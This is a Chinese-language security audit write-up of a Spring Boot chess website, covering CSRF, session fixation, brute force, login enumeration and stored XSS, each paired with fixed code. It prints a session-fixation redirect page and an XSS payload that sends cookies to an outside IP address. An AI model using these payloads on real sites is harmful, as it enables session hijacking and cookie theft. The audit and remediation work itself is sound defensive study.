javaspring项目利用
这个项目完全就是个框架,只是勉强实现了业务逻辑,基本什么安全性都没有考虑。
codeql database create databaseName --source-root=D:\apache-tomcat-9.0.104\webapps\chessWebsite\chessWebsite-master\springboot2-website --language=java
codeql database analyze D:\apache-tomcat-9.0.104\webapps\chessWebsite\chessWebsite-master\springboot2-website\databaseName D:\codeql\ql\java\ql\src\Security\CWE --format=csv --output=result.csv
CSRF
deleteCoins
@GetMapping("/deleteCoins")
@ResponseBody
public String addCoins(HttpServletRequest request, int amount) {
HttpSession session = request.getSession();
System.out.println(amount);
Integer userId = (Integer) session.getAttribute("userId");
String username = (String) session.getAttribute("username");
System.out.println(userId);
System.out.println(username);
User user = userService.findByUsername(username);
Integer id = user.getId();
System.out.println(id);
userId = id;
if (userId != null) {
System.out.println("userId不是空");
boolean success = propertiesService.deleteCoins(userId, amount);
if (success) {
return "success";
}
}
return "fail";
}
根据路由构造请求
就可以对金额进行更改
//购买商品的时候,消费金币
public boolean deleteCoins(Integer userId,int amount){
Properties properties = propertiesMapper.findByUserId(userId);
if (properties != null) {
properties.setBalance(properties.getBalance() - amount);
propertiesMapper.update(properties);
return true;
}
return false;
}
这里对于amout参数也没有进行认证,基本就只是实现了基础逻辑
这里的 userId 和 username 从 session 获取,没有验证是否存在,也没有进行csrf防护
所以完整的改进代码应该是
@PostMapping("/deleteCoins")
@ResponseBody
public ResponseEntity<Map<String, Object>> deleteCoins(
HttpServletRequest request,
@RequestParam @Min(1) @Max(10000) int amount,
@RequestParam String csrfToken) {
Map<String, Object> response = new HashMap<>();
HttpSession session = request.getSession();
// 1. 验证会话
Integer userId = (Integer) session.getAttribute("userId");
String username = (String) session.getAttribute("username");
String sessionToken = (String) session.getAttribute("csrfToken");
if (userId == null || username == null) {
response.put("status", "error");
response.put("message", "未登录");
return ResponseEntity.status(401).body(response);
}
// 2. 验证CSRF
if (!csrfToken.equals(sessionToken)) {
response.put("status", "error");
response.put("message", "非法请求");
return ResponseEntity.status(403).body(response);
}
// 3. 验证用户一致性
User user = userService.findByUsername(username);
if (user == null || !user.getId().equals(userId)) {
session.invalidate();
response.put("status", "error");
response.put("message", "会话失效");
return ResponseEntity.status(401).body(response);
}
// 4. 验证金币余额
int currentCoins = propertiesService.getUserCoins(userId);
if (currentCoins < amount) {
response.put("status", "error");
response.put("message", "金币不足");
return ResponseEntity.status(400).body(response);
}
// 5. 执行操作
boolean success = propertiesService.deleteCoins(userId, amount);
if (success) {
log.info("用户 {} 成功扣除 {} 金币", username, amount);
response.put("status", "success");
response.put("remaining", currentCoins - amount);
return ResponseEntity.ok(response);
}
response.put("status", "error");
response.put("message", "操作失败");
return ResponseEntity.status(500).body(response);
}
checkLogin
@GetMapping("/checkLogin")
@ResponseBody
public String checkLogin(HttpServletRequest request) {
HttpSession session = request.getSession();
// 检查是否存在用户名
if (session.getAttribute("username") != null) {
return "true"; // 用户已登录
} else {
return "false"; // 用户未登录
}
}
checkLogin通过session判断登录状态
先看一下session是怎么设置的
@PostMapping("/login")
public ModelAndView login(@RequestParam("username") String username,
@RequestParam("password") String password,
HttpServletRequest request) {
User user = userService.authenticate(username, password);
if (user != null) {
HttpSession session = request.getSession();
session.setAttribute("username", username);
return new ModelAndView("redirect:/index.html");
} else {
//return new ModelAndView("login").addObject("error", "Invalid username or password");
return new ModelAndView("redirect:/loginFail.html");
}
}
账号密码校验成功之后就开始设置session
重点在于这两句HttpSession session = request.getSession();
session.setAttribute("username", username);
如果请求中包含SessionID(通常通过 JSESSIONID Cookie),服务器查找对应的Session对象并返回,如果没有则创建新的session。
在网页中可以看到cookie就存储在这里
其实这里有个问题就是这里是可以不登出而直接登录其他账号的,那么这样的话,其实session是不变的。这里设置session的意义好像也不大,也没有设置时间限制
设置成
@PostMapping("/login")
public ModelAndView login(@RequestParam("username") String username,
@RequestParam("password") String password,
HttpServletRequest request) {
User user = userService.authenticate(username, password);
if (user != null) {
HttpSession session = request.getSession();
// 使旧会话失效(安全措施)
session.invalidate();
// 创建新会话
session = request.getSession(true);
session.setAttribute("username", username);
session.setAttribute("ip", request.getRemoteAddr());
// 设置超时时间(秒)
session.setMaxInactiveInterval(60 * 30); // 30分钟
return new ModelAndView("redirect:/index.html");
} else {
//return new ModelAndView("login").addObject("error", "Invalid username or password");
return new ModelAndView("redirect:/loginFail.html");
}
}
更加合理
不恰当的输入验证
意料之中的,就是有很多,选一个利用和恢复一下
@PostMapping("/adminLogin")
public ModelAndView adminLogin(@RequestParam("username") String username,
@RequestParam("password") String password,
HttpServletRequest request) {
Admin admin = adminService.authenticate(username, password);
if (admin != null) {
HttpSession session = request.getSession();
session.setAttribute("adminName", username);
return new ModelAndView("redirect:/admin_index.html");
} else {
return new ModelAndView("redirect:/admin_loginFail.html");
}
}
固定会话攻击
由于直接使用现有会话,而未创建新会话
可预先设置会话ID,诱导管理员使用该会话登录,从而劫持管理员会话
构造此页面实现携带固定session自动跳转登录
<!DOCTYPE html>
<html>
<head>
<title>恶意演示页面</title>
<meta http-equiv="refresh" content="0; url=http://127.0.0.1:8082/admin_login.html?JSESSIONID=0F733F6DF8680C8D41110548E164578C">
</head>
<body>
正在跳转...
</body>
</html>
当前管理员的cookie就是攻击者指定cookie
那么攻击者就可以利用此JSESSIONID访问系统执行需要管理员认证的相关操作如:
获取系统相关信息
如
新增一个管理员
修复
防御会话固定
if (admin != null) {
// 使旧会话失效并创建新会话
request.getSession().invalidate();
HttpSession session = request.getSession(true);
// 设置安全属性
session.setAttribute("adminName", username);
session.setAttribute("isAdmin", true);
}
缺乏暴力破解保护
修复
增加登录保护
// 在控制器方法前添加
@PostMapping("/adminLogin")
@RateLimit(attempts = 5, duration = 15, unit = TimeUnit.MINUTES)
public ModelAndView adminLogin(...) {
// ...
}
这个 @RateLimit 注解的作用是为管理员登录接口添加请求频率限制,防止暴力破解攻击./
敏感信息暴露
登录失败之后会固定重定向到失败界面,可以借此判断用户名密码是否正确
修复
统一登陆响应
// 无论成功失败都返回相同页面
return new ModelAndView("redirect:/admin_login.html?status=error");
缺乏安全头部
未设置安全cookie属性,可能遭受xss或中间人攻击
可以通过xss窃取未设置httpOnly的会话cookie
先在留言板页面测试一下xss漏洞点
<img src=x onerror=alert(1)>
确认此处存在xss漏洞
<img src=x onerror="document.location='http://47.111.94.227/xss/steal?cookie=' + encodeURIComponent(document.cookie)">
在留言板界面注入存储型xss,窃取cookie
修复
//设置 HttpOnly Cookie
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setCookieName("JSESSIONID");
serializer.setUseHttpOnlyCookie(true); // 阻止 JavaScript 读取
serializer.setUseSecureCookie(true); // 仅 HTTPS 传输
return serializer;
}
//启用 CSP(内容安全策略)
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
//输入过滤 & 输出编码
public String sanitizeInput(String input) {
return HtmlUtils.htmlEscape(input); // 转义 < > & 等特殊字符
}